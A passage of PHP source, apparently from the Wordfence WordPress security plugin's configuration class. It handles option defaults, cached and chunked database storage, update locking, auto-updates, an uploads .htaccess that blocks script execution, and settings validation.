self::AUTOLOAD, 'validation' => array('type' => self::TYPE_BOOL)), 'touppBypassNextCheck' => array('value' => false, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_BOOL)), 'autoUpdateAttempts' => array('value' => 0, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_INT)), 'lastPermissionsTemplateCheck' => array('value' => 0, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_INT)), 'previousWflogsFileList' => array('value' => '[]', 'autoload' => self::DONT_AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)), 'diagnosticsWflogsRemovalHistory' => array('value' => '[]', 'autoload' => self::DONT_AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)), 'satisfactionPromptDismissed' => array('value' => 0, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_INT)), 'satisfactionPromptInstallDate' => array('value' => 0, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_INT)), 'satisfactionPromptOverride' => array('value' => true, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_BOOL)), ), ); public static $serializedOptions = array('lastAdminLogin', 'scanSched', 'emailedIssuesList', 'wf_summaryItems', 'adminUserList', 'twoFactorUsers', 'alertFreqTrack', 'wfStatusStartMsgs', 'vulnerabilities_core', 'vulnerabilities_plugin', 'vulnerabilities_theme', 'dashboardData', 'malwarePrefixes', 'coreHashes', 'noc1ScanSchedule', 'allScansScheduled', 'disclosureStates', 'scanStageStatuses', 'adminNoticeQueue', 'suspiciousAdminUsernames', 'wordpressPluginVersions', 'wordpressThemeVersions', 'lastAuditEvents'); // Configuration keypairs that can be set from Central. private static $wfCentralInternalConfig = array( 'wordfenceCentralUserSiteAuthGrant', 'wordfenceCentralConnected', 'wordfenceCentralPluginAlertingDisabled', ); public static function setDefaults() { foreach (self::$defaultConfig['checkboxes'] as $key => $config) { $val = $config['value']; $autoload = $config['autoload']; if (self::get($key) === false) { self::set($key, $val ? '1' : '0', $autoload); } } foreach (self::$defaultConfig['otherParams'] as $key => $config) { $val = $config['value']; $autoload = $config['autoload']; if (self::get($key) === false) { self::set($key, $val, $autoload); } } foreach (self::$defaultConfig['defaultsOnly'] as $key => $config) { $val = $config['value']; $autoload = $config['autoload']; if (self::get($key) === false) { if ($val === false) { self::set($key, '0', $autoload); } else if ($val === true) { self::set($key, '1', $autoload); } else { self::set($key, $val, $autoload); } } } self::set('encKey', substr(wfUtils::bigRandomHex(), 0, 16)); self::set('longEncKey', bin2hex(wfWAFUtils::random_bytes(32))); if (self::get('maxMem', false) === false) { self::set('maxMem', '256'); } if (self::get('other_scanOutside', false) === false) { self::set('other_scanOutside', 0); } if (self::get('email_summary_enabled')) { wfActivityReport::scheduleCronJob(); } else { wfActivityReport::disableCronJob(); } } public static function loadAllOptions() { global $wpdb; $options = wp_cache_get('alloptions', 'wordfence'); if (!$options) { $table = self::table(); self::updateTableExists(); $suppress = $wpdb->suppress_errors(); if (!($rawOptions = $wpdb->get_results("SELECT name, val FROM {$table} WHERE autoload = 'yes'"))) { $rawOptions = $wpdb->get_results("SELECT name, val FROM {$table}"); } $wpdb->suppress_errors($suppress); $options = array(); foreach ((array) $rawOptions as $o) { if (in_array($o->name, self::$serializedOptions)) { $val = maybe_unserialize($o->val); if ($val) { $options[$o->name] = $val; } } else { $options[$o->name] = $o->val; } } wp_cache_add_non_persistent_groups('wordfence'); wp_cache_add('alloptions', $options, 'wordfence'); } return $options; } /** * Bases the table's existence on the option specified by wfConfig::TABLE_EXISTS_OPTION for performance. We only * set that option just prior to deletion in the uninstall handler and after table creation in the install handler. */ public static function updateTableExists($change = null) { if ($change !== null) { self::$tableExists = !!$change; if (is_multisite() && function_exists('update_network_option')) { update_network_option(null, wfConfig::TABLE_EXISTS_OPTION, self::$tableExists); } else { update_option(wfConfig::TABLE_EXISTS_OPTION, self::$tableExists); } return; } self::$tableExists = true; if (is_multisite() && function_exists('get_network_option')) { $optionValue = get_network_option(null, wfConfig::TABLE_EXISTS_OPTION, null); } else { $optionValue = get_option(wfConfig::TABLE_EXISTS_OPTION, null); } if ($optionValue === null) { //No value, set an initial one global $wpdb; self::updateTableExists(!!$wpdb->get_col($wpdb->prepare('SELECT TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA=DATABASE() AND TABLE_NAME=%s', self::table()))); return; } if (!$optionValue) { self::$tableExists = false; } } public static function tableExists() { return self::$tableExists; } private static function updateCachedOption($name, $val) { $options = self::loadAllOptions(); $options[$name] = $val; wp_cache_set('alloptions', $options, 'wordfence'); } private static function removeCachedOption($name) { $options = self::loadAllOptions(); if (isset($options[$name])) { unset($options[$name]); wp_cache_set('alloptions', $options, 'wordfence'); } } private static function getCachedOption($name) { $options = self::loadAllOptions(); if (isset($options[$name])) { return $options[$name]; } $table = self::table(); $val = self::getDB()->querySingle("SELECT val FROM {$table} WHERE name='%s'", $name); if ($val !== null) { $options[$name] = $val; wp_cache_set('alloptions', $options, 'wordfence'); } return $val; } public static function hasCachedOption($name) { $options = self::loadAllOptions(); return isset($options[$name]); } /** * Returns an array of all option keys that are eligible for export with the exception of serialized options. * * @return array */ public static function getExportableOptionsKeys() { $ret = array(); foreach (self::$defaultConfig['checkboxes'] as $key => $val) { $ret[] = $key; } foreach (self::$defaultConfig['otherParams'] as $key => $val) { $ret[] = $key; } return $ret; } public static function parseOptions($excludeOmitted = false) { $ret = array(); foreach (self::$defaultConfig['checkboxes'] as $key => $val) { //value is not used. We just need the keys for validation if ($excludeOmitted && isset($_POST[$key])) { $ret[$key] = (int) $_POST[$key]; } else if (!$excludeOmitted || isset($_POST[$key])) { $ret[$key] = isset($_POST[$key]) ? '1' : '0'; } } foreach (self::$defaultConfig['otherParams'] as $key => $val) { if (!$excludeOmitted || isset($_POST[$key])) { if (isset($_POST[$key])) { $ret[$key] = stripslashes($_POST[$key]); } else { error_log("Missing options param \"$key\" when parsing parameters."); } } } /* for debugging only: foreach($_POST as $key => $val){ if($key != 'action' && $key != 'nonce' && (! array_key_exists($key, self::$checkboxes)) && (! array_key_exists($key, self::$otherParams)) ){ error_log("Unrecognized option: $key"); } } */ return $ret; } public static function setArray($arr){ foreach($arr as $key => $val){ self::set($key, $val); } } public static function getHTML($key){ return esc_html(self::get($key)); } public static function inc($key){ $val = self::get($key, false); if(! $val){ $val = 0; } self::set($key, $val + 1); return $val + 1; } public static function atomicInc($key) { if (!self::$tableExists) { return false; } global $wpdb; $old_suppress_errors = $wpdb->suppress_errors(true); $table = self::table(); $rowExists = false; $successful = false; $attempts = 0; do { if (!$rowExists && $wpdb->query($wpdb->prepare("INSERT INTO {$table} (name, val, autoload) values (%s, %s, %s)", $key, 1, self::DONT_AUTOLOAD))) { $val = 1; $successful = true; } else { $rowExists = true; $val = self::get($key, 1); if ($wpdb->query($wpdb->prepare("UPDATE {$table} SET val = %s WHERE name = %s AND val = %s", $val + 1, $key, $val))) { $val++; $successful = true; } } $attempts++; } while (!$successful && $attempts < 100); $wpdb->suppress_errors($old_suppress_errors); return $val; } public static function remove($key) { global $wpdb; if (!self::$tableExists) { return; } $table = self::table(); $wpdb->query($wpdb->prepare("DELETE FROM {$table} WHERE name = %s", $key)); self::removeCachedOption($key); if (!WFWAF_SUBDIRECTORY_INSTALL && class_exists('wfWAFIPBlocksController') && (substr($key, 0, 4) == 'cbl_' || $key == 'blockedTime' || $key == 'disableWAFIPBlocking')) { wfWAFIPBlocksController::setNeedsSynchronizeConfigSettings(); } } public static function set($key, $val, $autoload = self::AUTOLOAD) { global $wpdb; if (is_array($val)) { $msg = sprintf( /* translators: 1. Key in key-value store. 2. Value in key-value store. */ __('wfConfig::set() got an array as second param with key: %1$s and value: %2$s', 'wordfence'), $key, var_export($val, true)); wordfence::status(1, 'error', $msg); return; } self::_handleActionHooks($key, $val); if (($key == 'apiKey' || $key == 'isPaid' || $key == 'other_WFNet') && wfWAF::getInstance() && !WFWAF_SUBDIRECTORY_INSTALL) { if ($key == 'isPaid' || $key == 'other_WFNet') { $val = !!$val; } try { wfWAF::getInstance()->getStorageEngine()->setConfig($key, $val, 'synced'); } catch (wfWAFStorageFileException $e) { error_log($e->getMessage()); } catch (wfWAFStorageEngineMySQLiException $e) { error_log($e->getMessage()); } } if (!self::$tableExists) { return; } $table = self::table(); if ($wpdb->query($wpdb->prepare("INSERT INTO {$table} (name, val, autoload) values (%s, %s, %s) ON DUPLICATE KEY UPDATE val = %s, autoload = %s", $key, $val, $autoload, $val, $autoload)) !== false && $autoload != self::DONT_AUTOLOAD) { self::updateCachedOption($key, $val); } if (!WFWAF_SUBDIRECTORY_INSTALL && class_exists('wfWAFIPBlocksController') && (substr($key, 0, 4) == 'cbl_' || $key == 'blockedTime' || $key == 'disableWAFIPBlocking')) { wfWAFIPBlocksController::setNeedsSynchronizeConfigSettings(); } } public static function setJSON($key, $val, $autoload = self::AUTOLOAD) { self::set($key, @json_encode($val), $autoload); } public static function setBool($key, $val, $autoload = self::AUTOLOAD) { self::set($key, wfUtils::truthyToBoolean($val) ? 1 : 0, $autoload); } public static function setOrRemove($key, $value, $autoload = self::AUTOLOAD) { if ($value === null) { self::remove($key); } else { self::set($key, $value, $autoload); } } public static function get($key, $default = false, $allowCached = true, &$isDefault = false) { global $wpdb; if ($allowCached && self::hasCachedOption($key)) { return self::getCachedOption($key); } if (!self::$tableExists) { $isDefault = true; return $default; } $table = self::table(); if (!($option = $wpdb->get_row($wpdb->prepare("SELECT name, val, autoload FROM {$table} WHERE name = %s", $key)))) { $isDefault = true; return $default; } if ($option->autoload != self::DONT_AUTOLOAD) { self::updateCachedOption($key, $option->val); } return $option->val; } public static function getInt($key, $default = 0, $allowCached = true) { return (int) self::get($key, $default, $allowCached); } public static function getJSON($key, $default = false, $allowCached = true) { $json = self::get($key, $default, $allowCached, $isDefault); if ($isDefault) return $json; $decoded = @json_decode($json, true); if ($decoded === null) { return $default; } return $decoded; } public static function getBool($key, $default = false, $allowCached = true) { return wfUtils::truthyToBoolean(self::get($key, $default, $allowCached)); } /** * Runs a test against the database to verify set_ser is working via MySQLi. * * @return bool */ public static function testDB() { $nonce = bin2hex(wfWAFUtils::random_bytes(32)); $payload = array('nonce' => $nonce); $allow = wfConfig::get('allowMySQLi', true); wfConfig::set('allowMySQLi', true); wfConfig::set_ser('dbTest', $payload, false, wfConfig::DONT_AUTOLOAD); $stored = wfConfig::get_ser('dbTest', false, false); wfConfig::set('allowMySQLi', $allow); $result = false; if (is_array($stored) && isset($stored['nonce']) && hash_equals($nonce, $stored['nonce'])) { $result = true; } wfConfig::delete_ser_chunked('dbTest'); return $result; } private static function canCompressValue() { if (!function_exists('gzencode') || !function_exists('gzdecode')) { return false; } $disabled = explode(',', ini_get('disable_functions')); if (in_array('gzencode', $disabled) || in_array('gzdecode', $disabled)) { return false; } return true; } private static function isCompressedValue($data) { //Based on http://www.ietf.org/rfc/rfc1952.txt if (strlen($data) < 2) { return false; } $magicBytes = substr($data, 0, 2); if ($magicBytes !== (chr(0x1f) . chr(0x8b))) { return false; } //Small chance of false positives here -- can check the header CRC if it turns out it's needed return true; } private static function ser_chunked_key($key) { return 'wordfence_chunked_' . $key . '_'; } public static function get_ser($key, $default = false, $cache = true) { if (self::hasCachedOption($key)) { return self::getCachedOption($key); } if (!self::$tableExists) { return $default; } //Check for a chunked value first $chunkedValueKey = self::ser_chunked_key($key); $header = self::getDB()->querySingle("select val from " . self::table() . " where name=%s", $chunkedValueKey . 'header'); if ($header) { $header = unserialize($header); $count = $header['count']; $path = tempnam(sys_get_temp_dir(), $key); //Writing to a file like this saves some of PHP's in-memory copying when just appending each chunk to a string $fh = fopen($path, 'r+'); $length = 0; for ($i = 0; $i < $count; $i++) { $chunk = self::getDB()->querySingle("select val from " . self::table() . " where name=%s", $chunkedValueKey . $i); self::getDB()->flush(); //clear cache if (!$chunk) { wordfence::status(2, 'error', sprintf(/* translators: Key in key-value store. */ __("Error reassembling value for %s", 'wordfence'), $key)); return $default; } fwrite($fh, $chunk); $length += strlen($chunk); unset($chunk); } fseek($fh, 0); $serialized = fread($fh, $length); fclose($fh); unlink($path); if (self::canCompressValue() && self::isCompressedValue($serialized)) { $inflated = @gzdecode($serialized); if ($inflated !== false) { unset($serialized); if ($cache) { self::updateCachedOption($key, unserialize($inflated)); return self::getCachedOption($key); } return unserialize($inflated); } } if ($cache) { self::updateCachedOption($key, unserialize($serialized)); return self::getCachedOption($key); } return unserialize($serialized); } else { $serialized = self::getDB()->querySingle("select val from " . self::table() . " where name=%s", $key); self::getDB()->flush(); //clear cache if ($serialized) { if (self::canCompressValue() && self::isCompressedValue($serialized)) { $inflated = @gzdecode($serialized); if ($inflated !== false) { unset($serialized); return unserialize($inflated); } } if ($cache) { self::updateCachedOption($key, unserialize($serialized)); return self::getCachedOption($key); } return unserialize($serialized); } } return $default; } public static function set_ser($key, $val, $allowCompression = false, $autoload = self::AUTOLOAD) { /* * Because of the small default value for `max_allowed_packet` and `max_long_data_size`, we're stuck splitting * large values into multiple chunks. To minimize memory use, the MySQLi driver is used directly when possible. */ global $wpdb; $dbh = $wpdb->dbh; $useMySQLi = wfUtils::useMySQLi(); if (!self::$tableExists) { return; } self::_handleActionHooks($key, $val); self::delete_ser_chunked($key); //Ensure any old values for a chunked value are deleted first if (self::canCompressValue() && $allowCompression) { $data = gzencode(serialize($val)); } else { $data = serialize($val); } if (!$useMySQLi) { $data = bin2hex($data); } $dataLength = strlen($data); $maxAllowedPacketBytes = self::getDB()->getMaxAllowedPacketBytes(); $chunkSize = intval((($maxAllowedPacketBytes < 1024 /* MySQL minimum, probably failure to fetch it */ ? 1024 * 1024 /* MySQL default */ : $maxAllowedPacketBytes) - 50) / 1.2); //Based on max_allowed_packet + 20% for escaping and SQL $chunkSize = $chunkSize - ($chunkSize % 2); //Ensure it's even $chunkedValueKey = self::ser_chunked_key($key); if ($dataLength > $chunkSize) { $chunks = 0; while (($chunks * $chunkSize) < $dataLength) { $dataChunk = substr($data, $chunks * $chunkSize, $chunkSize); if ($useMySQLi) { $chunkKey = $chunkedValueKey . $chunks; $stmt = $dbh->prepare("INSERT IGNORE INTO " . self::table() . " (name, val, autoload) VALUES (?, ?, 'no')"); if ($stmt === false) { wordfence::status(2, 'error', sprintf( /* translators: 1. Key in key-value store. 2. MySQL error number. 3. MySQL error message. */ __('Error writing value chunk for %1$s (MySQLi error: [%2$s] %3$s)', 'wordfence'), $key, $dbh->errno, $dbh->error)); return false; } $null = NULL; $stmt->bind_param("sb", $chunkKey, $null); if (!$stmt->send_long_data(1, $dataChunk)) { wordfence::status(2, 'error', sprintf( /* translators: 1. Key in key-value store. 2. MySQL error number. 3. MySQL error message. */ __('Error writing value chunk for %1$s (MySQLi error: [%2$s] %3$s)', 'wordfence'), $key, $dbh->errno, $dbh->error)); return false; } if (!$stmt->execute()) { wordfence::status(2, 'error', sprintf( /* translators: 1. Key in key-value store. 2. MySQL error number. 3. MySQL error message. */ __('Error writing value chunk for %1$s (MySQLi error: [%2$s] %3$s)', 'wordfence'), $key, $dbh->errno, $dbh->error)); return false; } } else { if (!self::getDB()->queryWrite(sprintf("insert ignore into " . self::table() . " (name, val, autoload) values (%%s, X'%s', 'no')", $dataChunk), $chunkedValueKey . $chunks)) { if ($useMySQLi) { $errno = mysqli_errno($wpdb->dbh); wordfence::status(2, 'error', sprintf( /* translators: 1. Key in key-value store. 2. MySQL error number. 3. MySQL error message. */ __('Error writing value chunk for %1$s (MySQLi error: [%2$s] %3$s)', 'wordfence'), $key, $errno, $wpdb->last_error)); } else if (function_exists('mysql_errno')) { // phpcs:ignore PHPCompatibility.Extensions.RemovedExtensions.mysql_DeprecatedRemoved $errno = mysql_errno($wpdb->dbh); wordfence::status(2, 'error', sprintf( /* translators: 1. Key in key-value store. 2. MySQL error number. 3. MySQL error message. */ __('Error writing value chunk for %1$s (MySQLi error: [%2$s] %3$s)', 'wordfence'), $key, $errno, $wpdb->last_error)); } return false; } } $chunks++; } if (!self::getDB()->queryWrite(sprintf("insert ignore into " . self::table() . " (name, val, autoload) values (%%s, X'%s', 'no')", bin2hex(serialize(array('count' => $chunks)))), $chunkedValueKey . 'header')) { wordfence::status(2, 'error', sprintf( /* translators: Key in key-value store. */ __("Error writing value header for %s", 'wordfence'), $key)); return false; } } else { $exists = self::getDB()->querySingle("select name from " . self::table() . " where name='%s'", $key); if ($useMySQLi) { if ($exists) { $stmt = $dbh->prepare("UPDATE " . self::table() . " SET val=?, autoload=? WHERE name=?"); if ($stmt === false) { wordfence::status(2, 'error', sprintf( /* translators: 1. Key in key-value store. 2. MySQL error number. 3. MySQL error message. */ __('Error writing value for %1$s (MySQLi error: [%2$s] %3$s)', 'wordfence'), $key, $dbh->errno, $dbh->error)); return false; } $null = NULL; $stmt->bind_param("bss", $null, $autoload, $key); } else { $stmt = $dbh->prepare("INSERT IGNORE INTO " . self::table() . " (val, name, autoload) VALUES (?, ?, ?)"); if ($stmt === false) { wordfence::status(2, 'error', sprintf( /* translators: 1. Key in key-value store. 2. MySQL error number. 3. MySQL error message. */ __('Error writing value for %1$s (MySQLi error: [%2$s] %3$s)', 'wordfence'), $key, $dbh->errno, $dbh->error)); return false; } $null = NULL; $stmt->bind_param("bss", $null, $key, $autoload); } if (!$stmt->send_long_data(0, $data)) { wordfence::status(2, 'error', sprintf( /* translators: 1. Key in key-value store. 2. MySQL error number. 3. MySQL error message. */ __('Error writing value for %1$s (MySQLi error: [%2$s] %3$s)', 'wordfence'), $key, $dbh->errno, $dbh->error)); return false; } if (!$stmt->execute()) { wordfence::status(2, 'error', sprintf( /* translators: 1. Key in key-value store. 2. MySQL error number. 3. MySQL error message. */ __('Error finishing writing value for %1$s (MySQLi error: [%2$s] %3$s)', 'wordfence'), $key, $dbh->errno, $dbh->error)); return false; } } else { if ($exists) { self::getDB()->queryWrite(sprintf("update " . self::table() . " set val=X'%s', autoload=%%s where name=%%s", $data), $autoload, $key); } else { self::getDB()->queryWrite(sprintf("insert ignore into " . self::table() . " (name, val, autoload) values (%%s, X'%s', %%s)", $data), $key, $autoload); } } } self::getDB()->flush(); if ($autoload != self::DONT_AUTOLOAD) { self::updateCachedOption($key, $val); } return true; } private static function delete_ser_chunked($key) { if (!self::$tableExists) { return; } self::removeCachedOption($key); $chunkedValueKey = self::ser_chunked_key($key); $header = self::getDB()->querySingle("select val from " . self::table() . " where name=%s", $chunkedValueKey . 'header'); if (!$header) { return; } $header = unserialize($header); $count = $header['count']; for ($i = 0; $i < $count; $i++) { self::getDB()->queryWrite("delete from " . self::table() . " where name='%s'", $chunkedValueKey . $i); } self::getDB()->queryWrite("delete from " . self::table() . " where name='%s'", $chunkedValueKey . 'header'); } public static function f($key){ echo esc_attr(self::get($key)); } public static function p() { return self::get('isPaid'); } public static function cbp($key){ if(self::get('isPaid') && self::get($key)){ echo ' checked '; } } public static function cb($key){ if(self::get($key)){ echo ' checked '; } } public static function sel($key, $val, $isDefault = false){ if((! self::get($key)) && $isDefault){ echo ' selected '; } if(self::get($key) == $val){ echo ' selected '; } } private static function getDB(){ if(! self::$DB){ self::$DB = new wfDB(); } return self::$DB; } private static function table(){ return wfDB::networkTable('wfConfig'); } public static function haveAlertEmails(){ $emails = self::getAlertEmails(); return sizeof($emails) > 0 ? true : false; } public static function alertEmailBlacklist() { return array('3c4aa9bd643bd9bb9873014227151a85b24ab8d72fe02cc5799b0edc56eabb67', 'aa06081e3962a3c17a85a06ddf9e418ca1ba8fead3f9b7a20beaf51848a1fd75', 'a25a360bded101e25ebabe5643161ddbb6c3fa33838bbe9a123c2ec0cda8d370', '36e8407dfa80d64cfe42ede4d9d5ce2d4840a5e4781b5f8a7b3b8eacec86fcad', '50cf95aec25369583efdfeff9f0818b4b9266f10e140ea2b648e30202450c21b', '72a09e746cb90ff2646ba1f1d0c0f5ffed6b380642bbbf826d273fffa6ef673b'); } public static function getAlertEmails() { $blacklist = self::alertEmailBlacklist(); $dat = explode(',', self::get('alertEmails')); $emails = array(); foreach ($dat as $email) { $email = strtolower(trim($email)); if (preg_match('/\@/', $email)) { $hash = hash('sha256', $email); if (!in_array($hash, $blacklist)) { $emails[] = $email; } } } return $emails; } public static function getAlertLevel(){ if (self::get('alertOn_scanIssues')) { return self::get('alertOn_severityLevel', 0); } return 0; } public static function liveTrafficEnabled(&$overriden = null){ $enabled = self::get('liveTrafficEnabled'); if (WORDFENCE_DISABLE_LIVE_TRAFFIC || WF_IS_WP_ENGINE) { $enabled = false; if ($overriden !== null) { $overriden = true; } } return $enabled; } public static function enableAutoUpdate(){ wfConfig::set('autoUpdate', '1'); wp_clear_scheduled_hook('wordfence_daily_autoUpdate'); if (is_main_site()) { wp_schedule_event(time(), 'daily', 'wordfence_daily_autoUpdate'); } } public static function disableAutoUpdate(){ wfConfig::set('autoUpdate', '0'); wp_clear_scheduled_hook('wordfence_daily_autoUpdate'); } public static function createLock($name, $timeout = null) { //Our own version of WP_Upgrader::create_lock that uses our table instead global $wpdb; if (!$timeout) { $timeout = 3600; } $table = self::table(); $lock_option = $name . '.lock'; $lock_result = $wpdb->query($wpdb->prepare("INSERT IGNORE INTO `$table` (`name`, `val`, `autoload`) VALUES (%s, %s, 'no')", $lock_option, time())); if (!$lock_result) { $lock_result = self::get($lock_option, false, false); if (!$lock_result) { return false; } if ($lock_result > (time() - $timeout)) { return false; } self::releaseLock($name); return self::createLock($name, $timeout); } return true; } public static function releaseLock($name) { self::remove($name . '.lock'); } public static function autoUpdate(){ require(dirname(__FILE__) . '/wfVersionSupport.php'); /** * @var string $wfPHPDeprecatingVersion * @var string $wfPHPMinimumVersion */ if (version_compare(PHP_VERSION, $wfPHPMinimumVersion, '<')) { return; } // Prevent WF auto-update if the user has enabled auto-update through the plugins page. if (version_compare(wfUtils::getWPVersion(), '5.5-x', '>=')) { $autoUpdatePlugins = get_site_option('auto_update_plugins'); if (is_array($autoUpdatePlugins) && in_array(WORDFENCE_BASENAME, $autoUpdatePlugins)) { return; } } if (!wfConfig::get('other_bypassLitespeedNoabort', false) && getenv('noabort') != '1' && stristr($_SERVER['SERVER_SOFTWARE'], 'litespeed') !== false) { $lastEmail = self::get('lastLiteSpdEmail', false); if( (! $lastEmail) || (time() - (int)$lastEmail > (86400 * 30))){ self::set('lastLiteSpdEmail', time()); wordfence::alert( /* translators: Support URL. */ __("Wordfence Upgrade not run. Please modify your .htaccess", 'wordfence'), sprintf(__("To preserve the integrity of your website we are not running Wordfence auto-update.\n" . "You are running the LiteSpeed web server which has been known to cause a problem with Wordfence auto-update.\n" . "Please go to your website now and make a minor change to your .htaccess to fix this.\n" . "You can find out how to make this change at:\n" . "%s\n" . "\nAlternatively you can disable auto-update on your website to stop receiving this message and upgrade Wordfence manually.\n", 'wordfence'), wfSupportController::supportURL(wfSupportController::ITEM_DASHBOARD_OPTION_LITESPEED_WARNING)), false ); } return; } $runUpdate = false; wp_update_plugins(); $update_plugins = get_site_transient('update_plugins'); if ($update_plugins && is_array($update_plugins->response) && isset($update_plugins->response[WORDFENCE_BASENAME])) { $status = $update_plugins->response[WORDFENCE_BASENAME]; if (is_object($status) && property_exists($status, 'new_version')) { $runUpdate = (version_compare($status->new_version, WORDFENCE_VERSION) > 0); } } if ($runUpdate) { try { $api = new wfAPI(wfConfig::get('apiKey'), wfUtils::getWPVersion()); $response = $api->call('should_auto_update', array(), array('currentVersion' => WORDFENCE_VERSION)); if (!(is_array($response) && isset($response['ok']) && wfUtils::truthyToBoolean($response['ok']))) { $runUpdate = false; } } catch (Exception $e) { wfConfig::inc('autoUpdateAttempts'); $runUpdate = false; } } if (!$runUpdate && wfConfig::get('autoUpdateAttempts') < 7) { return; } try { require_once(ABSPATH . 'wp-admin/includes/class-wp-upgrader.php'); require_once(ABSPATH . 'wp-admin/includes/misc.php'); /* We were creating show_message here so that WP did not write to STDOUT. This had the strange effect of throwing an error about redeclaring show_message function, but only when a crawler hit the site and triggered the cron job. Not a human. So we're now just require'ing misc.php which does generate output, but that's OK because it is a loopback cron request. if(! function_exists('show_message')){ function show_message($msg = 'null'){} } */ if(! defined('FS_METHOD')){ define('FS_METHOD', 'direct'); //May be defined already and might not be 'direct' so this could cause problems. But we were getting reports of a warning that this is already defined, so this check added. } require_once(ABSPATH . 'wp-includes/update.php'); require_once(ABSPATH . 'wp-admin/includes/file.php'); if (!self::createLock('wfAutoUpdate')) { return; } ob_start(); $upgrader = new Plugin_Upgrader(); $upret = $upgrader->upgrade(WORDFENCE_BASENAME); if($upret){ $cont = file_get_contents(WORDFENCE_FCPATH); preg_match('/Version: (\d+\.\d+\.\d+)/', $cont, $matches); $version = !empty($matches) ? $matches[1] : null; $alertCallback = array(new wfAutoUpdatedAlert($version), 'send'); do_action('wordfence_security_event', 'autoUpdate', array( 'version' => $version, ), $alertCallback); wfConfig::set('autoUpdateAttempts', 0); } $output = @ob_get_contents(); @ob_end_clean(); } catch(Exception $e){} self::releaseLock('wfAutoUpdate'); } /** * .htaccess file contents to disable all script execution in a given directory. */ private static $_disable_scripts_htaccess = '# BEGIN Wordfence code execution protection php_flag engine 0 php_flag engine 0 php_flag engine 0 AddHandler cgi-script .php .phtml .php3 .pl .py .jsp .asp .htm .shtml .sh .cgi Options -ExecCGI # END Wordfence code execution protection '; private static $_disable_scripts_regex = '/# BEGIN Wordfence code execution protection.+?# END Wordfence code execution protection/s'; private static function _uploadsHtaccessFilePath() { $upload_dir = wp_upload_dir(); return $upload_dir['basedir'] . '/.htaccess'; } /** * Add/Merge .htaccess file in the uploads directory to prevent code execution. * * @return bool * @throws wfConfigException */ public static function disableCodeExecutionForUploads() { $uploads_htaccess_file_path = self::_uploadsHtaccessFilePath(); $uploads_htaccess_has_content = false; if (file_exists($uploads_htaccess_file_path)) { $htaccess_contents = file_get_contents($uploads_htaccess_file_path); // htaccess exists and contains our htaccess code to disable script execution, nothing more to do if (strpos($htaccess_contents, self::$_disable_scripts_htaccess) !== false) { return true; } $uploads_htaccess_has_content = strlen(trim($htaccess_contents)) > 0; } if (@file_put_contents($uploads_htaccess_file_path, ($uploads_htaccess_has_content ? "\n\n" : "") . self::$_disable_scripts_htaccess, FILE_APPEND | LOCK_EX) === false) { throw new wfConfigException(__("Unable to save the .htaccess file needed to disable script execution in the uploads directory. Please check your permissions on that directory.", 'wordfence')); } self::set('disableCodeExecutionUploadsPHP7Migrated', true); return true; } public static function migrateCodeExecutionForUploadsPHP7() { if (self::get('disableCodeExecutionUploads')) { if (!self::get('disableCodeExecutionUploadsPHP7Migrated')) { $uploads_htaccess_file_path = self::_uploadsHtaccessFilePath(); if (file_exists($uploads_htaccess_file_path)) { $htaccess_contents = file_get_contents($uploads_htaccess_file_path); if (preg_match(self::$_disable_scripts_regex, $htaccess_contents)) { $htaccess_contents = preg_replace(self::$_disable_scripts_regex, self::$_disable_scripts_htaccess, $htaccess_contents); @file_put_contents($uploads_htaccess_file_path, $htaccess_contents); self::set('disableCodeExecutionUploadsPHP7Migrated', true); } } } } } /** * Remove script execution protections for our the .htaccess file in the uploads directory. * * @return bool * @throws wfConfigException */ public static function removeCodeExecutionProtectionForUploads() { $uploads_htaccess_file_path = self::_uploadsHtaccessFilePath(); if (file_exists($uploads_htaccess_file_path)) { $htaccess_contents = file_get_contents($uploads_htaccess_file_path); // Check that it is in the file if (preg_match(self::$_disable_scripts_regex, $htaccess_contents)) { $htaccess_contents = preg_replace(self::$_disable_scripts_regex, '', $htaccess_contents); $error_message = __("Unable to remove code execution protections applied to the .htaccess file in the uploads directory. Please check your permissions on that file.", 'wordfence'); if (strlen(trim($htaccess_contents)) === 0) { // empty file, remove it if (!@unlink($uploads_htaccess_file_path)) { throw new wfConfigException($error_message); } } elseif (@file_put_contents($uploads_htaccess_file_path, $htaccess_contents, LOCK_EX) === false) { throw new wfConfigException($error_message); } } } return true; } /** * Validates the array of configuration changes without applying any. All bounds checks must be performed here. * * @param array $changes * @return bool|array Returns true if valid, otherwise a displayable error message per error encountered. * @throws wfWAFStorageFileException */ public static function validate($changes) { $errors = array(); $waf = wfWAF::getInstance(); $wafConfig = $waf->getStorageEngine(); foreach ($changes as $key => $value) { $checked = false; switch ($key) { //============ WAF case 'learningModeGracePeriod': { //If currently in or will be in learning mode, restrict the grace period to be in the future $wafStatus = (isset($changes['wafStatus']) ? $changes['wafStatus'] : $wafConfig->getConfig('wafStatus')); $gracePeriodEnd = strtotime($value); if ($wafStatus == wfFirewall::FIREWALL_MODE_LEARNING && $gracePeriodEnd <= time()) { $errors[] = array('option' => $key, 'error' => __('The grace period end time must be in the future.', 'wordfence')); } $checked = true; break; } case 'wafStatus': { if ($value != wfFirewall::FIREWALL_MODE_ENABLED && $value != wfFirewall::FIREWALL_MODE_LEARNING && $value != wfFirewall::FIREWALL_MODE_DISABLED) { $errors[] = array('option' => $key, 'error' => __('Unknown firewall mode.', 'wordfence')); } $checked = true; break; } //============ Plugin case 'alertEmails': { $dirtyEmails = explode(',', preg_replace('/[\r\n\s\t]+/', '', $value)); $dirtyEmails = array_filter($dirtyEmails); $badEmails = array(); foreach ($dirtyEmails as $email) { if (!wfUtils::isValidEmail($email)) { $badEmails[] = $email; } } if (count($badEmails) > 0) { $errors[] = array('option' => $key, 'error' => __('The following emails are invalid: ', 'wordfence') . esc_html(implode(', ', $badEmails), array())); } $checked = true; break; } case 'scan_include_extra': { $dirtyRegexes = explode("\n", $value); foreach ($dirtyRegexes as $regex) { if (@preg_match("/$regex/", "") === false) { $errors[] = array('option' => $key, 'error' => sprintf( /* translators: Regular expression. */ __('"%s" is not a valid regular expression.', 'wordfence'), esc_html($regex))); } } $checked = true; break; } case 'whitelisted': { $dirtyWhitelisted = explode(',', 